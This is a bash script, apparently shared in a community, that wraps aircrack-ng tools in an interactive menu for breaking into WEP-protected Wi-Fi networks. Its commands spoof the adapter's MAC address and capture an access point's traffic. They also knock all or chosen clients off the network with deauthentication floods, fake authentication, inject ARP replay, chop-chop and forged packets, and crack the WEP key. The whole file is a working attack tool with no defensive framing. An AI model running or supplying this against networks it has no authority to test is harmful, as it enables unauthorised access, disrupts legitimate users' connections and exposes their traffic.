#!/bin/bash
# vvpalins community wepscript
# wepscript.sh
echo "######################################"
echo "##### PLEASE ENTER THE INTERFACE #####"
echo "######################################"
read ADAPTER
function apname {
echo "######################################"
echo "##### TYPE THE ESSID OF THE AP #######"
echo "######################################"
read AP
}
function clientname {
echo "######################################"
echo "####### TYPE THE CLIENTS MAC #########"
echo "######################################"
read CLIENT
}
function repeat {
clear
echo "######################################"
echo "#### TYPE *up* TO BRING UP ADAPTER ###"
echo "######################################"
echo "#### TYPE /\finish him/\ TO CRACK ####"
echo "######################################"
echo "0. Airodump-ng"
echo "1. Test Injection"
echo "2. Deauth all from AP"
echo "3. Deauth client from AP"
echo "4. Fake auth to AP"
echo "5. Arpreplay"
echo "6. Arpreplay with packet size"
echo "7. p0821"
echo "8. Chop Chop Attack"
echo "9. Forge and inject packet"
echo "10. Change your MAC"
read OPTION
if [ "$OPTION" = "up" ]
then
killall dhclient
killall NetworkManager
killall wpa_supplicant
ifconfig $ADAPTER down
airmon-ng check kill
airmon-ng stop $ADAPTER
airmon-ng stop mon0
airmon-ng stop mon1
macchanger --mac 00:11:22:33:44:55 $ADAPTER
airmon-ng start $ADAPTER
terminator -e "airodump-ng --berlin 10 $ADAPTER; bash" &
clear
fi
if [ "$OPTION" = "0" ]
then
if [ "$AP" = "" ]
then
apname
fi
echo "type the channel number"
read CHAN
terminator -e "airodump-ng -c $CHAN -w new --bssid $AP $ADAPTER; bash" &
fi
if [ "$OPTION" = "1" ]
then
if [ "$AP" = "" ]
then
apname
fi
terminator -e "aireplay-ng -9 -a $AP $ADAPTER; bash" &
fi
if [ "$OPTION" = "2" ]
then
if [ "$AP" = "" ]
then
apname
fi
terminator -e "aireplay-ng -0 0 -a $AP $ADAPTER; bash" &
fi
if [ "$OPTION" = "3" ]
then
if [ "$AP" = "" ]
then
apname
fi
if [ "$CLIENT" = "" ]
then
clientname
fi
terminator -e "aireplay-ng -0 0 -a $AP -c $CLIENT $ADAPTER; bash" &
fi
if [ "$OPTION" = "4" ]
then
if [ "$AP" = "" ]
then
apname
fi
if [ "$CLIENT" = "" ]
then
clientname
fi
terminator -e "aireplay-ng -1 2000 -a $AP -h $CLIENT $ADAPTER; bash" &
fi
if [ "$OPTION" = "5" ]
then
if [ "$AP" = "" ]
then
apname
fi
if [ "$CLIENT" = "" ]
then
clientname
fi
terminator -e "aireplay-ng -3 -b $AP -h $CLIENT $ADAPTER; bash" &
fi
if [ "$OPTION" = "6" ]
then
if [ "$AP" = "" ]
then
apname
fi
if [ "$CLIENT" = "" ]
then
clientname
fi
terminator -e "aireplay-ng -3 -x 1000 -n 100000 -b $AP -h $CLIENT $ADAPTER; bash" &
fi
if [ "$OPTION" = "7" ]
then
if [ "$AP" = "" ]
then
apname
fi
if [ "$CLIENT" = "" ]
then
clientname
fi
terminator -e "aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b $AP -h $CLIENT $ADAPTER; bash" &
fi
if [ "$OPTION" = "8" ]
then
if [ "$AP" = "" ]
then
apname
fi
if [ "$CLIENT" = "" ]
then
clientname
fi
terminator -e "aireplay-ng -4 -b $AP -h $CLIENT $ADAPTER; bash" &
fi
if [ "$OPTION" = "9" ]
then
if [ "$AP" = "" ]
then
apname
fi
if [ "$CLIENT" = "" ]
then
clientname
fi
XOR=$(ls | grep "replay.*\.xor" | cut -d " " -f 5)
packetforge-ng -0 -a $AP -h $CLIENT -k 255.255.255.255 -l 255.255.255.255.255 -y $XOR -w arp-request
terminator -e "aireplay-ng -2 -r arp-request $ADAPTER; bash" &
fi
if [ "$OPTION" = "10" ]
then
echo "What mac do you want to change to?"
echo "If you want a random mac type random"
read MAC
if [ "$MAC" = "random" ]
then
clear
macchanger -r $ADAPTER
sleep 4
else
clear
macchanger -m $MAC $ADAPTER
sleep 4
fi
fi
if [ "$OPTION" = "finish him" ]
then
terminator -e "aircrack-ng -a wep *.cap; bash" &
fi
}
for (( ; ; ))
do
repeat
done